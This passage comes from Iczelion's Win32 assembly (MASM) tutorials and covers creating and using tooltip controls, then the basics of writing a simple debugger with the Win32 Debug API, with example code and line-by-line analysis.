If the user chooses to wait, the splash screen will disappear when the specified time has elapsed (in our example, it's 2 seconds). We can do this by processing WM_TIMER message. Upon receiving this message, we closes the window by sending WM_LBUTTONDOWN message to the window. This is to avoid code duplication. We don't have further use for the timer so we destroy it with KillTimer.
When the window is closed, the DLL will return control to the main program.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 27: Tooltip Control

We will learn about the tooltip control: What it is and how to create and use it. Download the example.

Theory:

A tooltip is a small rectangular window that is displayed when the mouse pointer hovers over some specific area. A tooltip window contains some text that the programmer wants to be displayed. In this regard, a tooltip servers the same role as the status window but it disappears when the user clicks or moves the mouse pointer away from the designated area. You'll probably be familiar with the tooltips that are associated with toolbar buttons. Those "tooltips" are conveniencies provided by the toolbar control. If you want tooltips for other windows/controls, you need to create your own tooltip control.
Now that you know what a tooltip is, let's go on to how we can create and use it. The steps are outlined below:
  1. Create a tooltip control with CreateWindowEx
  2. Define a region that the tooltip control will monitor for mouse pointer movement.
  3. Submit the region to the tooltip control
  4. Relay mouse messages of the submitted region to the tooltip control (this step may occur earlier, depending on the method used to relay the messages)
We wll next examine each step in detail.

Tooltip Creation

A tooltip control is a common control. As such, you need to call InitCommonControls somewhere in your source code so that MASM implicitly links your program to comctl32.dll. You create a tooltip control with CreateWindowEx. The typical scenario would be like this:
.data
TooltipClassName db "Tooltips_class32",0
.code
.....
invoke InitCommonControls
invoke CreateWindowEx, NULL, addr TooltipClassName, NULL, TIS_ALWAYSTIP, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL
Note the window style: TIS_ALWAYSTIP. This style specifies that the tooltip will be shown when the mouse pointer is over the designated area regardless of the status of the window that contains the area. Put simply, if you use this flag, when the mouse pointer hovers over the area you register to the tooltip control, the tooltip window will appear even if the window under the mouse pointer is inactive.
You don't have to include WS_POPUP and WS_EX_TOOLWINDOW styles in CreateWindowEx because the tooltip control's window procedure adds them automatically. You also don't need to specify the coordinate, the height and width of the tooltip window: the tooltip control will adjust them automatically to fit the tooltip text that will be displayed, thus we supply CW_USEDEFAULT in all four parameters. The remaining parameters are not remarkable.

Specifying the tool

The tooltip control is created but it's not shown immediately. We want the tooltip window to show up when the mouse pointer hovers over some area. Now is the time to specify that area. We call such area "tool". A tool is a rectangular area on the client area of a window which the tooltip control will monitor for mouse pointer. If the mouse pointer hovers over the tool, the tooltip window will appear. The rectangular area can cover the whole client area or only a part of it. So we can divided tool into two types: one that is implemented as a window and another that is implemented as a rectangular area in the client area of some window. Both has their uses. The tool that covers the whole client area of a window is most frequently used with controls such as buttons, edit controls and so on. You don't need to specify the coordinate and the dimensions of the tool: it's assumed to be the whole client area of the window. The tool that is implemented as a rectangular area on the client area is useful when you want to divide the client area of a window into several regions without using child windows. With this type of tool, you need to specify the coordinate of the upper left corner and the width and height of the tool.
You specify the tool with the TOOLINFO structure which has the following definition:
TOOLINFO STRUCT
cbSize DWORD ?
uFlags DWORD ?
hWnd DWORD ?
uId DWORD ?
rect RECT <>
hInst DWORD ?
lpszText DWORD ?
lParam LPARAM ?
TOOLINFO ENDS
Field Name | Explanation
cbSize | The size of the TOOLINFO structure. You MUST fill this member. Windows will not flag error if this field is not filled properly but you will receive strange, unpredictable results.
uFlags The bit flags that specifies the characteristics of the tool. This value can be a combination of the following flags:
  • TTF_IDISHWND "ID is hWnd". If you specify this flag, it means you want to use a tool that covers the whole client area of a window (the first type of tool above). If you use this flag, you must fill the uId member of this structure with the handle of the window you want to use. If you don't specify this flag, it means you want to use the second type of tool, the one that is implemented as the rectangular area on the client window. In that case, you need to fill the rect member with the dimension of the rectangle.
  • TTF_CENTERTIP Normally the tooltip window will appear to the right and below the mouse pointer. If you specify this flag, the tooltip window will always appear directly below the tool and is centered regardless of the position of the mouse pointer.
  • TTF_RTLREADING You can forget about this flag if your program is not designed specifically for Arabic or Hebrew systems. This flag displays the tooltip text with right-to-left reading order. Doesn't work under other systems.
  • TTF_SUBCLASS If you use this flag, it means you tell the tooltip control to subclass the window that the tool is on so that the tooltip control can intercept mouse messages that are sent to the window. This flag is very handy. If you don't use this flag, you have to do more work to relay the mouse messages to the tooltip control.
hWnd Handle to the window that contains the tool. If you specify TTF_IDISHWND flag, this field is ignored since Windows will use the value in uId member as the window handle. You need to fill this field if:
  • You don't use TTF_IDISHWND flag (in other words, you use a rectangular tool)
  • You specify the value LPSTR_TEXTCALLBACK in lpszText member. This value tells the tooltip control that, when it needs to display the tooltip window, it must ask the window that contains the tool for the text to be displayed. This is a kind of dynamic realtime tooltip text update. If you want to change your tooltip text dynamically, you should specify LPSTR_TEXTCALLBACK value in lpszText member. The tooltip control will send TTN_NEEDTEXT notification message to the window identified by the handle in hWnd field.
uId The value in this field can have two meanings, depending on whether the uFlags member contains the flag TTF_IDISHWND.
  • Application-defined tool ID if the TTF_IDISHWND flag is not specified. Since this means you use a tool which covers only a part of the client area, it's logical that you can have many such tools on the same client area (without overlap). The tooltip control needs a way to differentiate between them. In this case, the window handle in hWnd member is not enough since all tools are on the same window. The application-defined IDs are thus necessary. The IDs can be any value so long as they are unique among themselves.
  • The handle to the window whose whole client area is used as the tool if the TTF_IDISHWND flag is specified. You may wonder why this field is used to store the window handle instead of the hWnd field above. The answer is: the hWnd member may already be filled if the value LPSTR_TEXTCALLBACK is specified in the lpszText member and the window that is responsible for supplying the tooltip text and the window that contains the tool may NOT be the same ( You can design your program so that a single window can serve both roles but this is too restrictive. In this case, Microsoft gives you more freedom. Cheers.)
rect | A RECT structure that specifies the dimension of the tool. This structure defines a rectangle relative to the upper left corner of the client area of the window specified by the hWnd member. In short, you must fill this structure if you want to specify a tool that covers only a part of the client area. The tooltip control will ignore this field if you specify TTF_IDISHWND flag (you choose to use a tool that covers the whole client area)
hInst | The handle of the instance that contains the string resource that will be used as the tooltip text if the value in the lpszText member specifies the string resource identifier. This may sound confusing. Read the explanation of the lpszText member first and you will understand what this field is used for. The tooltip control ignores this field if the lpszText field doesn't contain a string resource identifier.
lpszText This field can have several values:
  • If you specify the value LPSTR_TEXTCALLBACK in this field, the tooltip control will send TTN_NEEDTEXT notification message to the window identified by the handle in hWnd field for the text string to be displayed in the tooltip window. This is the most dynamic method of tooltip text update: you can change the tooltip text each time the tooltip window is displayed.
  • If you specify a string resource identifier in this field, when the tooltip control needs to display the tooltip text in the tooltip window, it searches for the string in the string table of the instance specified by hInst member. The tooltip control identifies a string resource identifier by checking the high word of this field. Since a string resource identifier is a 16-bit value, the high word of this field will always be zero. This method is useful if you plan to port your program to other languages. Since the string resource is defined in a resource script, you don't need to modify the source code.You only have to modify the string table and the tooltip texts will change without the risk of introducing bugs into your program.
  • If the value in this field is not LPSTR_TEXTCALLBACK and the high word is not zero, the tooltip control interprets the value as the pointer to a text string that will be used as the tooltip text. This method is the easiest to use but the least flexible.

To recapitulate, you need to fill the TOOLINFO structure prior to submitting it to the tooltip control. This structure describes the characteristics of the tool you desire.

Register the tool with the tooltip control

After you fill the TOOLINFO structure, you must submit it to tooltip control. A tooltip control can service many tools so it is usually unnecessary to create more than one tooltip control for a window. To register a tool with a tooltip control, you send the TTM_ADDTOOL message to the tooltip control. The wParam is not used and the lParam must contain the address of the TOOLINFO structure you want to register.
.data?
ti TOOLINFO <>
.......
.code
.......
<fill the TOOLINFO structure>
.......
invoke SendMessage, hwndTooltip, TTM_ADDTOOL, NULL, addr ti
SendMessage for this message will return TRUE if the tool is successfully registered with the tooltip control, FALSE otherwise.
You can unregister the tool by sending TTM_DELTOOL message to the tooltip control.

Relaying Mouse Messages to the Tooltip Control

When the above step is completed, the tooltip control knows which area it should monitor for mouse messages and what text it should display in the tooltip window. The only thing it lacks is the *trigger* for that action. Think about it: the area specified by the tool is on the client area of the other window. How can the tooltip control intercept the mouse messages destined for that window? It needs to do so in order that it can measure the amount of time the mouse pointer hovers over a point in the tool so that when the specified amount of time elapses, the tooltip control shows the tooltip window. There are two methods of accomplishing this goal, one that requires the cooperation of the window that contains the tool and the other without the cooperation on the part of the window.
  • The window that contains the tool must relay the mouse messages to the tooltip control by sending TTM_RELAYEVENT messages to the control. The lParam of this message must contain the address of a MSG structure that specifies the message to be relayed to the tooltip control. A tooltip control processes only the following mouse messages:
    • WM_LBUTTONDOWN
    • WM_MOUSEMOVE
    • WM_LBUTTONUP
    • WM_RBUTTONDOWN
    • WM_MBUTTONDOWN
    • WM_RBUTTONUP
    • WM_MBUTTONUP
    All other messages are ignored. Thus in the window procedure of the window that contains the tool, there must be a switch that does something like this:

    WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
    .......
    if uMsg==WM_CREATE
    .............
    elseif uMsg==WM_LBUTTONDOWN || uMsg==WM_MOUSEMOVE || uMsg==WM_LBUTTONUP || uMsg==WM_RBUTTONDOWN || uMsg==WM_MBUTTONDOWN || uMsg==WM_RBUTTONUP || uMsg==WM_MBUTTONUP
    invoke SendMessage, hwndTooltip, TTM_RELAYEVENT, NULL, addr msg
    ..........

  • You can specify TTF_SUBCLASS flag in the uFlags member of the TOOLINFO structure. This flag tells the tooltip control to subclass the window that contains the tool so it can intercept the mouse messages without the cooperation of the window. This method is easier to use since it doesn't require more coding than specifying TTF_SUBCLASS flag and the tooltip control handles all the message interception itself.
That's it. At this step, your tooltip control is fully functional. There are several useful tooltip-related messages you should know about.
  • TTM_ACTIVATE. If you want to disable/enable the tooltip control dynamically, this message is for you. If the wParam value is TRUE, the tooltip control is enabled. If the wParam value is FALSE, the tooltip control is disabled. A tooltip control is enabled when it first created so you don't need to send this message to activate it.
  • TTM_GETTOOLINFO and TTM_SETTOOLINFO. If you want to obtain/change the values in the TOOLINFO structure after it was submitted to the tooltip control, use these messages. You need to specify the tool you need to change with the correct uId and hWnd values. If you only want to change the rect member, use TTM_NEWTOOLRECT message. If you only want to change the tooltip text, use TTM_UPDATETIPTEXT.
  • TTM_SETDELAYTIME. With this message, you can specify the time delay the tooltip control uses when it's displaying the tooltip text and much more.

Example:

The following example is a simple dialog box with two buttons. The client area of the dialog box is divided into 4 areas: upper left, upper right, lower left and lower right. Each area is specified as a tool with its own tooltip text. The two buttons also has their own tooltip texts.
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
EnumChild proto :DWORD,:DWORD
SetDlgToolArea proto :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
.const
IDD_MAINDIALOG equ 101
.data
ToolTipsClassName db "Tooltips_class32",0
MainDialogText1 db "This is the upper left area of the dialog",0
MainDialogText2 db "This is the upper right area of the dialog",0
MainDialogText3 db "This is the lower left area of the dialog",0
MainDialogText4 db "This is the lower right area of the dialog",0
.data?
hwndTool dd ?
hInstance dd ?
.code
start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke DialogBoxParam,hInstance,IDD_MAINDIALOG,NULL,addr DlgProc,NULL
invoke ExitProcess,eax DlgProc proc hDlg:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
LOCAL ti:TOOLINFO
LOCAL id:DWORD
LOCAL rect:RECT
.if uMsg==WM_INITDIALOG
invoke InitCommonControls
invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
TTS_ALWAYSTIP,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInstance,NULL
mov hwndTool,eax
mov id,0
mov ti.cbSize,sizeof TOOLINFO
mov ti.uFlags,TTF_SUBCLASS
push hDlg
pop ti.hWnd
invoke GetWindowRect,hDlg,addr rect
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText2,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText3,id,addr rect
inc id
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText4,id,addr rect
invoke EnumChildWindows,hDlg,addr EnumChild,addr ti
.elseif uMsg==WM_CLOSE
invoke EndDialog,hDlg,NULL
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
LOCAL buffer[256]:BYTE
mov edi,lParam
assume edi:ptr TOOLINFO
push hwndChild
pop [edi].uId
or [edi].uFlags,TTF_IDISHWND
invoke GetWindowText,hwndChild,addr buffer,255
lea eax,buffer
mov [edi].lpszText,eax
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
assume edi:nothing
ret
EnumChild endp SetDlgToolArea proc uses edi esi hDlg:DWORD,lpti:DWORD,lpText:DWORD,id:DWORD,lprect:DWORD
mov edi,lpti
mov esi,lprect
assume esi:ptr RECT
assume edi:ptr TOOLINFO
.if id==0
mov [edi].rect.left,0
mov [edi].rect.top,0
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
mov [edi].rect.bottom,eax
.elseif id==1
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
inc eax
mov [edi].rect.left,eax
mov [edi].rect.top,0
mov eax,[esi].right
sub eax,[esi].left
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.elseif id==2
mov [edi].rect.left,0
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
inc eax
mov [edi].rect.top,eax
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.else
mov eax,[esi].right
sub eax,[esi].left
shr eax,1
inc eax
mov [edi].rect.left,eax
mov eax,[esi].bottom
sub eax,[esi].top
shr eax,1
inc eax
mov [edi].rect.top,eax
mov eax,[esi].right
sub eax,[esi].left
mov [edi].rect.right,eax
mov eax,[esi].bottom
sub eax,[esi].top
mov [edi].rect.bottom,eax
.endif
push lpText
pop [edi].lpszText
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti
assume edi:nothing
assume esi:nothing
ret
SetDlgToolArea endp
end start
Analysis:After the main dialog window is created, we create the tooltip control with CreateWindowEx.
invoke InitCommonControls
invoke CreateWindowEx,NULL,ADDR ToolTipsClassName,NULL,\
TTS_ALWAYSTIP,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInstance,NULL
mov hwndTool,eax
After that, we proceed to define four tools for each corner of the dialog box. mov id,0 ; used as the tool ID
mov ti.cbSize,sizeof TOOLINFO
mov ti.uFlags,TTF_SUBCLASS ; tell the tooltip control to subclass the dialog window.
push hDlg
pop ti.hWnd ; handle to the window that contains the tool
invoke GetWindowRect,hDlg,addr rect ; obtain the dimension of the client area
invoke SetDlgToolArea,hDlg,addr ti,addr MainDialogText1,id,addr rect

We initialize the members of TOOLINFO structure. Note that we want to divide the client area into 4 tools so we need to know the dimension of the client area. That's why we call GetWindowRect. We don't want to relay mouse messages to the tooltip control ourselves so we specify TIF_SUBCLASS flag.
SetDlgToolArea is a function that calculates the bounding rectangle of each tool and registers the tool to the tooltip control. I won't go into gory detail on the calculation, suffice to say that it divides the client area into 4 areas with the same sizes. Then it sends TTM_ADDTOOL message to the tooltip control, passing the address of the TOOLINFO structure in the lParam parameter.

invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,lpti

After all 4 tools are registered, we can go on to the buttons on the dialog box. We can handle each button by its ID but this is tedious. Instead, we will use EnumChildWindows API call to enumerate all controls on the dialog box and then registers them to the tooltip control. EnumChildWindows has the following syntax:

EnumChildWindows proto hWnd:DWORD, lpEnumFunc:DWORD, lParam:DWORD
hWnd is the handle to the parent window. lpEnumFunc is the address of the EnumChildProc function that will be called for each control enumerated. lParam is the application-defined value that will be passed to the EnumChildProc function. The EnumChildProc function has the following definition:
EnumChildProc proto hwndChild:DWORD, lParam:DWORD
hwndChild is the handle to a control enumerated by EnumChildWindows. lParam is the same lParam value you pass to EnumChildWindows.
In our example, we call EnumChildWindows like this:
invoke EnumChildWindows,hDlg,addr EnumChild,addr ti
We pass the address of the TOOLINFO structure in the lParam parameter because we will register each child control to the tooltip control in the EnumChild function. If we don't use this method, we need to declare ti as a global variable which can introduce bugs.
When we call EnumChildWindows, Windows will enumerate the child controls on our dialog box and call the EnumChild function once for each control enumerated. Thus if our dialog box has two controls, EnumChild will be called twice.
The EnumChild function fills the relevant members of the TOOLINFO structure and then registers the tool with the tooltip control.
EnumChild proc uses edi hwndChild:DWORD,lParam:DWORD
LOCAL buffer[256]:BYTE
mov edi,lParam
assume edi:ptr TOOLINFO
push hwndChild
pop [edi].uId ; we use the whole client area of the control as the tool
or [edi].uFlags,TTF_IDISHWND
invoke GetWindowText,hwndChild,addr buffer,255
lea eax,buffer ; use the window text as the tooltip text
mov [edi].lpszText,eax
invoke SendMessage,hwndTool,TTM_ADDTOOL,NULL,edi
assume edi:nothing
ret
EnumChild endp
Note that in this case, we use a different type of tool: one that covers the whole client area of the window. We thus need to fill the uID field with the handle to the window that contains the tool. Also we must specify TTF_IDISHWND flag in the uFlags member.
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 28: Win32 Debug API Part 1

In this tutorial, you'll learn what Win32 offers to developers regarding debugging primitives. You'll know how to debug a process when you're finished with this tutorial.
Download the example.

Theory:

Win32 has several APIs that allow programmers to use some of the powers of a debugger. They are called Win32 Debug APIs or primitives. With them, you can:

  • Load a program or attach to a running program for debugging
  • Obtain low-level information about the program you're debugging, such as process ID, address of entrypoint, image base and so on.
  • Be notified of debugging-related events such as when a process/thread starts/exits, DLLs are loaded/unloaded etc.
  • Modify the process/thread being debugged

In short, you can code a simple debugger with those APIs. Since this subject is vast, I divide it into several managable parts: this tutorial being the first part. I'll explain the basic concepts and general framework for using Win32 Debug APIs in this tutorial.
The steps in using Win32 Debug APIs are:

  1. Create a process or attach your program to a running process. This is the first step in using Win32 Debug APIs. Since your program will act as a debugger, you need a program to debug. The program being debugged is called a debuggee. You can acquire a debuggee in two ways:
    • You can create the debuggee process yourself with CreateProcess. In order to create a process for debugging, you must specify the DEBUG_PROCESS flag. This flag tells Windows that we want to debug the process. Windows will send notifications of important debugging-related events (debug events) that occur in the debuggee to your program. The debuggee process will be immediately suspended until your program is ready. If the debuggee also creates child processes, Windows will also send debug events that occur in all those child processes to your program as well. This behavior is usually undesirable. You can disable this behavior by specifying DEBUG_ONLY_THIS_PROCESS flag in combination of DEBUG_PROCESS flag.
    • You can attach your program to a running process with DebugActiveProcess.
  2. Wait for debugging events. After your program acquired a debuggee, the debuggee's primary thread is suspended and will continue to be suspended until your program calls WaitForDebugEvent. This function works like other WaitForXXX functions, ie. it blocks the calling thread until the waited-for event occurs. In this case, it waits for debug events to be sent by Windows. Let's see its definition:

    WaitForDebugEvent proto lpDebugEvent:DWORD, dwMilliseconds:DWORD

    lpDebugEvent is the address of a DEBUG_EVENT structure that will be filled with information about the debug event that occurs within the debuggee.

    dwMilliseconds is the length of time in milliseconds this function will wait for the debug event to occur. If this period elapses and no debug event occurs, WaitForDebugEvent returns to the caller. On the other hand, if you specify INFINITE constant in this argument, the function will not return until a debug event occurs.

    Now let's examine the DEBUG_EVENT structure in more detail.

    DEBUG_EVENT STRUCT
    dwDebugEventCode dd ?
    dwProcessId dd ?
    dwThreadId dd ?
    u DEBUGSTRUCT <>
    DEBUG_EVENT ENDS

    dwDebugEventCode contains the value that specifies what type of debug event occurs. In short, there can be many types of events, your program needs to check the value in this field so it knows what type of event occurs and responds appropriately. The possible values are:

    3. Value | Meanings
CREATE_PROCESS_DEBUG_EVENT | A process is created. This event will be sent when the debuggee process is just created (and not yet running) or when your program just attaches itself to a running process with DebugActiveProcess. This is the first event your program will receive.
EXIT_PROCESS_DEBUG_EVENT | A process exits.
CREATE_THEAD_DEBUG_EVENT | A new thread is created in the debuggee process or when your program first attaches itself to a running process. Note that you'll not receive this notification when the primary thread of the debuggee is created.
EXIT_THREAD_DEBUG_EVENT | A thread in the debuggee process exits. Your program will not receive this event for the primary thread. In short, you can think of the primary thread of the debuggee as the equivalent of the debuggee process itself. Thus, when your program sees CREATE_PROCESS_DEBUG_EVENT, it's actually the CREATE_THREAD_DEBUG_EVENT for the primary thread.
LOAD_DLL_DEBUG_EVENT | The debuggee loads a DLL. You'll receive this event when the PE loader first resolves the links to DLLs (you call CreateProcess to load the debuggee) and when the debuggee calls LoadLibrary.
UNLOAD_DLL_DEBUG_EVENT | A DLL is unloaded from the debuggee process.
EXCEPTION_DEBUG_EVENT | An exception occurs in the debuggee process. Important: This event will occur once just before the debuggee starts executing its first instruction. The exception is actually a debug break (int 3h). When you want to resume the debuggee, call ContinueDebugEvent with DBG_CONTINUE flag. Don't use DBG_EXCEPTION_NOT_HANDLED flag else the debuggee will refuse to run under NT (on Win98, it works fine).
OUTPUT_DEBUG_STRING_EVENT | This event is generated when the debuggee calls DebugOutputString function to send a message string to your program.
RIP_EVENT | System debugging error occurs

    dwProcessId and dwThreadId are the process and thread Ids of the process that the debug event occurs. You can use these values as identifiers of the process/thread you're interested in. Remember that if you use CreateProcess to load the debuggee, you also get the process and thread IDs of the debuggee in the PROCESS_INFO structure. You can use these values to differentiate between the debug events occurring in the debuggee and its child processes (in case you didn't specify DEBUG_ONLY_THIS_PROCESS flag).

    u is a union that contains more information about the debug event. It can be one of the following structures depending on the value of dwDebugEventCode above.

    value in dwDebugEventCode | Interpretation of u
CREATE_PROCESS_DEBUG_EVENT | A CREATE_PROCESS_DEBUG_INFO structure named CreateProcessInfo
EXIT_PROCESS_DEBUG_EVENT | An EXIT_PROCESS_DEBUG_INFO structure named ExitProcess
CREATE_THREAD_DEBUG_EVENT | A CREATE_THREAD_DEBUG_INFO structure named CreateThread
EXIT_THREAD_DEBUG_EVENT | An EXIT_THREAD_DEBUG_EVENT structure named ExitThread
LOAD_DLL_DEBUG_EVENT | A LOAD_DLL_DEBUG_INFO structure named LoadDll
UNLOAD_DLL_DEBUG_EVENT | An UNLOAD_DLL_DEBUG_INFO structure named UnloadDll
EXCEPTION_DEBUG_EVENT | An EXCEPTION_DEBUG_INFO structure named Exception
OUTPUT_DEBUG_STRING_EVENT | An OUTPUT_DEBUG_STRING_INFO structure named DebugString
RIP_EVENT | A RIP_INFO structure named RipInfo

    I won't go into detail about all those structures in this tutorial, only the CREATE_PROCESS_DEBUG_INFO structure will be covered here.
    Assuming that our program calls WaitForDebugEvent and it returns. The first thing we should do is to examine the value in dwDebugEventCode to see which type of debug event occured in the debuggee process. For example, if the value in dwDebugEventCode is CREATE_PROCESS_DEBUG_EVENT, you can interpret the member in u as CreateProcessInfo and access it with u.CreateProcessInfo.

  3. Do whatever your program want to do in response to the debug event. When WaitForDebugEvent returns, it means a debug event just occurred in the debuggee process or a timeout occurs. Your program needs to examine the value in dwDebugEventCode in order to react to the event appropriately. In this regard, it's like processing Windows messages: you choose to handle some and ignore some.
  4. Let the debuggee continues execution. When a debug event occurs, Windows suspends the debuggee. When you're finished with the event handling, you need to kick the debuggee into moving again. You do this by calling ContinueDebugEvent function.

    ContinueDebugEvent proto dwProcessId:DWORD, dwThreadId:DWORD, dwContinueStatus:DWORD

    This function resumes the thread that was previously suspended because a debug event occurred.
    dwProcessId and dwThreadId are the process and thread IDs of the thread that will be resumed. You usually take these two values from the dwProcessId and dwThreadId members of the DEBUG_EVENT structure.
    dwContinueStatus specifies how to continue the thread that reported the debug event. There are two possible values: DBG_CONTINUE and DBG_EXCEPTION_NOT_HANDLED. For all other debug events, those two values do the same thing: resume the thread. The exception is the EXCEPTION_DEBUG_EVENT. If the thread reports an exception debug event, it means an exception occurred in the debuggee thread. If you specify DBG_CONTINUE, the thread will ignore its own exception handling and continue with the execution. In this scenario, your program must examine and resolve the exception itself before resuming the thread with DBG_CONTINUE else the exception will occur again and again and again.... If you specify DBG_EXCEPTION_NOT_HANDLED, your program is telling Windows that it didn't handle the exception: Windows should use the default exception handler of the debuggee to handle the exception.
    In conclusion, if the debug event refers to an exception in the debuggee process, you should call ContinueDebugEvent with DBG_CONTINUE flag if your program already removed the cause of exception. Otherwise, your program must call ContinueDebugEvent with DBG_EXCEPTION_NOT_HANDLED flag. Except in one case which you must always use DBG_CONTINUE flag: the first EXCEPTION_DEBUG_EVENT which has the value EXCEPTION_BREAKPOINT in the ExceptionCode member. When the debuggee is going to execute its very first instruction, your program will receive the exception debug event. It's actually a debug break (int 3h). If you respond by calling ContinueDebugEvent with DBG_EXCEPTION_NOT_HANDLED flag, Windows NT will refuse to run the debuggee (because no one cares for it). You must always use DBG_CONTINUE flag in this case to tell Windows that you want the thread to go on.

  5. Continue this cycle in an infinite loop until the debuggee process exits. Your program must be in an infinite loop much like a message loop until the debuggee exits. The loop looks like this:

    .while TRUE
    invoke WaitForDebugEvent, addr DebugEvent, INFINITE
    .break .if DebugEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
    <Handle the debug events>
    invoke ContinueDebugEvent, DebugEvent.dwProcessId, DebugEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
    .endw

    Here's the catch: Once you start debugging a program, you just can't detach from the debuggee until it exits.

Let's summarize the steps again:

  1. Create a process or attach your program to a running process.
  2. Wait for debugging events
  3. Do whatever your program want to do in response to the debug event.
  4. Let the debuggee continues execution.
  5. Continue this cycle in an infinite loop until the debuggee process exits

Example:

This example debugs a win32 program and shows important information such as the process handle, process Id, image base and so on.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib
.data
AppName db "Win32 Debug Example no.1",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0
NewThread db "A new thread is created",0
EndThread db "A thread is destroyed",0
ProcessInfo db "File Handle: %lx ",0dh,0Ah
db "Process Handle: %lx",0Dh,0Ah
db "Thread Handle: %lx",0Dh,0Ah
db "Image Base: %lx",0Dh,0Ah
db "Start Address: %lx",0
.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
.code
start:
mov ofn.lStructSize,sizeof ofn
mov ofn.lpstrFilter, offset FilterString
mov ofn.lpstrFile, offset buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE
.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
.break
.elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
.if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
.continue
.endif
.elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
.elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
.endif
invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
.endif
invoke ExitProcess, 0
end start

Analysis:

The program fills the OPENFILENAME structure and then calls GetOpenFileName to let the user choose a program to be debugged.

invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi

When the user chose one, it calls CreateProcess to load the program. It calls GetStartupInfo to fill the STARTUPINFO structure with its default values. Note that we use DEBUG_PROCESS combined with DEBUG_ONLY_THIS_PROCESS flags in order to debug only this program, not including its child processes.

.while TRUE
invoke WaitForDebugEvent, addr DBEvent, INFINITE

When the debuggee is loaded, we enter the infinite debug loop, calling WaitForDebugEvent. WaitForDebugEvent will not return until a debug event occurs in the debuggee because we specify INFINITE as its second parameter. When a debug event occurred, WaitForDebugEvent returns and DBEvent is filled with information about the debug event.

.if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
